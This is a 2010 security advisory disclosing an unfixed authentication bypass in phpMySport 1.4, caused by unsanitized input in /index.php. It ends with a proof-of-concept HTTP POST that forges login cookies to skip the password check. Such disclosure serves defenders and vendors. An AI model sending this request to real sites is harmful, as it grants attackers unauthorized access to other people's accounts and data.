Vulnerability ID: HTB22774 Reference: http://www.htbridge.ch/advisory/authentication_bypass_in_phpmysport.html Product: phpMySport Vendor: phpMySport ( http://phpmysport.sourceforge.net/ ) Vulnerable Version: 1.4 Vendor Notification: 21 December 2010 Vulnerability Type: Authentication bypass Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input. Attacker can bypass authentication. The following PoC is available: POST /index.php?r=member&v1=login HTTP/1.1 Cookie: auto_connection=1; cle=1; Content-Type: application/x-www-form-urlencoded Content-Length: 21 login=&pass=&x=9&y=10
